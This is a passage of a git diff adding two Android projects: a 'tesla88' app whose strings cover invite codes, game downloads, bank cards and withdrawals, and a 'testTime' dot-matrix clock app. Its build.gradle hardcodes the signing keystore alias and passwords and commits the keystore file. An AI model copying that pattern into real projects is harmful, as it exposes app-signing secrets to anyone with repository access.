Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/tesla88/src/main/res/values-night/themes.xml b/tesla88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/tesla88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/values/colors.xml b/tesla88/src/main/res/values/colors.xml new file mode 100644 index 0000000..8c39200 --- /dev/null +++ b/tesla88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #336fe1 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/tesla88/src/main/res/values/strings.xml b/tesla88/src/main/res/values/strings.xml new file mode 100644 index 0000000..3343643 --- /dev/null +++ b/tesla88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + TESLA88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/values/themes.xml b/tesla88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/tesla88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/xml/app_updater_paths.xml b/tesla88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/tesla88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/xml/network_security_config.xml b/tesla88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/tesla88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/xml/provider_paths.xml b/tesla88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/tesla88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/tesla88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/tesla88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/testTime/.gitignore b/testTime/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/testTime/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/testTime/build.gradle b/testTime/build.gradle new file mode 100644 index 0000000..b93500a --- /dev/null +++ b/testTime/build.gradle @@ -0,0 +1,84 @@ +plugins { + id 'com.android.application' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.hey.testtime" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "heygirl" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + +} \ No newline at end of file diff --git a/testTime/dskjweb.jks b/testTime/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/testTime/dskjweb.jks differ diff --git a/testTime/proguard-rules.pro b/testTime/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/testTime/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/testTime/release/output-metadata.json b/testTime/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/testTime/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/testTime/release/testweb.apk b/testTime/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/testTime/release/testweb.apk differ diff --git a/testTime/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/testTime/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/testTime/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/testTime/src/main/AndroidManifest.xml b/testTime/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3dc1bfd --- /dev/null +++ b/testTime/src/main/AndroidManifest.xml @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/main/java/com/hey/testtime/DataLayout.java b/testTime/src/main/java/com/hey/testtime/DataLayout.java new file mode 100644 index 0000000..a92070f --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/DataLayout.java @@ -0,0 +1,89 @@ +package com.hey.testtime; + +import android.content.Context; +import android.graphics.Color; +import android.util.AttributeSet; +import android.view.LayoutInflater; +import android.view.View; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.recyclerview.widget.GridLayoutManager; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.hey.testtime.adapter.comm.CommonAdapter; +import com.hey.testtime.adapter.comm.ViewHolder; + +import java.util.ArrayList; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/12/25 17:16 + * 用途 + * ********************** + */ +public class DataLayout extends LinearLayout { + private RecyclerView recyclerView; + CommonAdapter commonAdapter; + ArrayList pointDotBeans = new ArrayList<>(); + public DataLayout(Context context) { + super(context); + init(context); + } + + public DataLayout(Context context, AttributeSet attrs) { + super(context, attrs); + init(context); + } + + public DataLayout(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context); + } + + private void init(Context context) { + // 加载XML布局 + View view = LayoutInflater.from(context).inflate(R.layout.data_view, this, true); + recyclerView = (RecyclerView) view.findViewById(R.id.recyclerView); + initList(); + } + + public void setNumber(int number){ + if(number == -1){ + pointDotBeans = PointDotBean.getPointMaoBean(pointDotBeans); + }else { + pointDotBeans = PointDotBean.getPointBean(number, pointDotBeans); + } + commonAdapter.setDates(pointDotBeans); + } + public void setNumberString(String number){ + if(number.equals(":")){ + pointDotBeans = PointDotBean.getPointMaoBean(pointDotBeans); + }else { + pointDotBeans = PointDotBean.getPointBean(Integer.parseInt(number), pointDotBeans); + } + commonAdapter.setDates(pointDotBeans); + } + + private void initList() { + GridLayoutManager linearLayoutManager = new GridLayoutManager(getContext(),5); + recyclerView.setLayoutManager(linearLayoutManager); + commonAdapter = new CommonAdapter(getContext(), R.layout.point_view, pointDotBeans) { + @Override + public void convert(ViewHolder holder, PointDotBean s, int index) { + if(s.isShow){ + holder.getView(R.id.item_v).setBackgroundColor(getContext().getColor(R.color.color_0fb4f6)); + }else{ + holder.getView(R.id.item_v).setBackgroundColor(Color.TRANSPARENT); + } + } + }; + recyclerView.setAdapter(commonAdapter); + + } + + +} diff --git a/testTime/src/main/java/com/hey/testtime/DataMaoLayout.java b/testTime/src/main/java/com/hey/testtime/DataMaoLayout.java new file mode 100644 index 0000000..5ce96e3 --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/DataMaoLayout.java @@ -0,0 +1,75 @@ +package com.hey.testtime; + +import android.content.Context; +import android.graphics.Color; +import android.util.AttributeSet; +import android.view.LayoutInflater; +import android.view.View; +import android.widget.LinearLayout; + +import androidx.recyclerview.widget.GridLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import com.hey.testtime.adapter.comm.CommonAdapter; +import com.hey.testtime.adapter.comm.ViewHolder; + +import java.util.ArrayList; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/12/25 17:16 + * 用途 + * ********************** + */ +public class DataMaoLayout extends LinearLayout { + private RecyclerView recyclerView; + CommonAdapter commonAdapter; + ArrayList pointDotBeans = new ArrayList<>(); + public DataMaoLayout(Context context) { + super(context); + init(context); + } + + public DataMaoLayout(Context context, AttributeSet attrs) { + super(context, attrs); + init(context); + } + + public DataMaoLayout(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context); + } + + private void init(Context context) { + // 加载XML布局 + View view = LayoutInflater.from(context).inflate(R.layout.mao_view, this, true); + recyclerView = (RecyclerView) view.findViewById(R.id.recyclerView); + initList(); + } + + public void setNumber(int number){ + pointDotBeans = PointDotBean.getPointMaoBean3(pointDotBeans); + commonAdapter.setDates(pointDotBeans); + } + + private void initList() { + GridLayoutManager linearLayoutManager = new GridLayoutManager(getContext(),3); + recyclerView.setLayoutManager(linearLayoutManager); + commonAdapter = new CommonAdapter(getContext(), R.layout.point_view, pointDotBeans) { + @Override + public void convert(ViewHolder holder, PointDotBean s, int index) { + if(s.isShow){ + holder.getView(R.id.item_v).setBackgroundColor(getContext().getColor(R.color.color_0fb4f6)); + }else{ + holder.getView(R.id.item_v).setBackgroundColor(Color.TRANSPARENT); + } + } + }; + recyclerView.setAdapter(commonAdapter); + + } + + +} diff --git a/testTime/src/main/java/com/hey/testtime/MainActivity2.java b/testTime/src/main/java/com/hey/testtime/MainActivity2.java new file mode 100644 index 0000000..ce49519 --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/MainActivity2.java @@ -0,0 +1,112 @@ +package com.hey.testtime; + +import android.graphics.Color; +import android.os.Bundle; +import android.os.Handler; +import android.util.Log; +import android.view.View; +import android.view.WindowManager; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.text.SimpleDateFormat; +import java.util.Date; + +public class MainActivity2 extends AppCompatActivity { + private DataLayout hhdy1; + private DataLayout hhdy2; + private DataMaoLayout maody; + private DataLayout mmdy1; + private DataLayout mmdy2; + private DataMaoLayout maody1; + private DataLayout ssdy1; + private DataLayout ssdy2; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor("#000000")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#000000")); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + + hhdy1 = (DataLayout) findViewById(R.id.hhdy1); + hhdy2 = (DataLayout) findViewById(R.id.hhdy2); + maody = (DataMaoLayout) findViewById(R.id.maody); + mmdy1 = (DataLayout) findViewById(R.id.mmdy1); + mmdy2 = (DataLayout) findViewById(R.id.mmdy2); + maody1 = (DataMaoLayout) findViewById(R.id.maody1); + ssdy1 = (DataLayout) findViewById(R.id.ssdy1); + ssdy2 = (DataLayout) findViewById(R.id.ssdy2); + maody.setNumber(0); + maody1.setNumber(0); + + timerTask.startTimer(); + + } + private MyTimerTask timerTask = new MyTimerTask(); + + public class MyTimerTask { + private Handler handler = new Handler(); + + public void startTimer() { + handler.post(runnable); + } + + public void stopTimer() { + handler.removeCallbacks(runnable); + } + + private Runnable runnable = new Runnable() { + @Override + public void run() { + // 这里放置需要循环执行的代码 + Log.d("Timer", "Task is running"); + changeInfo(); + // 再次调用postDelayed方法,实现循环 + handler.postDelayed(this, 1000); // 1000毫秒后再次执行 + } + }; + } + + private void changeInfo() { + String times = getCurrentTime(); + hhdy1.setNumberString(times.substring(0,1)); + hhdy2.setNumberString(times.substring(1,2)); + mmdy1.setNumberString(times.substring(2,3)); + mmdy2.setNumberString(times.substring(3,4)); + ssdy1.setNumberString(times.substring(4,5)); + ssdy2.setNumberString(times.substring(5,6)); + + } + + + @Override + protected void onDestroy() { + timerTask.stopTimer(); + super.onDestroy(); + + } + + // 获取当前时间 + public String getCurrentTime() { + SimpleDateFormat sdf = new SimpleDateFormat("HHmmss"); + return sdf.format(new Date()); + } + + + + @Override + public void onBackPressed() { + + } + +} diff --git a/testTime/src/main/java/com/hey/testtime/PointDotBean.java b/testTime/src/main/java/com/hey/testtime/PointDotBean.java new file mode 100644 index 0000000..00e844d --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/PointDotBean.java @@ -0,0 +1,523 @@ +package com.hey.testtime; + +import java.util.ArrayList; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/12/31 15:57 + * 用途 + * ********************** + */ +public class PointDotBean { + public int x; + public int y; + public boolean isShow; + + public PointDotBean() { + } + + public PointDotBean(int x, int y, boolean isShow) { + this.x = x; + this.y = y; + this.isShow = isShow; + } + + public static ArrayList getPointMaoBean( ArrayList pointDotBeans) { + pointDotBeans = new ArrayList<>(); + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, false)); + pointDotBeans.add(new PointDotBean(0, 2, false)); + pointDotBeans.add(new PointDotBean(0, 3, false)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, false)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, false)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, true)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, false)); + pointDotBeans.add(new PointDotBean(3, 3, false)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, false)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, true)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, false)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, false)); + pointDotBeans.add(new PointDotBean(6, 2, false)); + pointDotBeans.add(new PointDotBean(6, 3, false)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + public static ArrayList getPointMaoBean3( ArrayList pointDotBeans) { + pointDotBeans = new ArrayList<>(); + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, false)); + pointDotBeans.add(new PointDotBean(0, 2, false)); + pointDotBeans.add(new PointDotBean(1, 0, false)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, true)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, true)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, false)); + pointDotBeans.add(new PointDotBean(6, 2, false)); + + return pointDotBeans; + } + + public static ArrayList getPointBean(int index, ArrayList pointDotBeans) { + pointDotBeans = new ArrayList<>(); + switch (index) { + case 0: + getPointBean0(pointDotBeans); + break; + case 1: + getPointBean1(pointDotBeans); + break; + case 2: + getPointBean2(pointDotBeans); + break; + case 3: + getPointBean3(pointDotBeans); + break; + case 4: + getPointBean4(pointDotBeans); + break; + case 5: + getPointBean5(pointDotBeans); + break; + case 6: + getPointBean6(pointDotBeans); + break; + case 7: + getPointBean7(pointDotBeans); + break; + case 8: + getPointBean8(pointDotBeans); + break; + case 9: + getPointBean9(pointDotBeans); + break; + } + + return pointDotBeans; + + } + + private static ArrayList getPointBean0(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, true)); + pointDotBeans.add(new PointDotBean(2, 1, true)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, true)); + pointDotBeans.add(new PointDotBean(3, 0, true)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, false)); + pointDotBeans.add(new PointDotBean(3, 4, true)); + pointDotBeans.add(new PointDotBean(4, 0, true)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, true)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, true)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean1(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, false)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, false)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, false)); + pointDotBeans.add(new PointDotBean(1, 1, true)); + pointDotBeans.add(new PointDotBean(1, 2, true)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, false)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, true)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, false)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, true)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, false)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, true)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, false)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean2(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, true)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, false)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, true)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, false)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, true)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, false)); + pointDotBeans.add(new PointDotBean(6, 0, true)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, true)); + return pointDotBeans; + } + + private static ArrayList getPointBean3(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, true)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, true)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, true)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean4(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, false)); + pointDotBeans.add(new PointDotBean(0, 2, false)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, false)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, true)); + pointDotBeans.add(new PointDotBean(1, 3, true)); + pointDotBeans.add(new 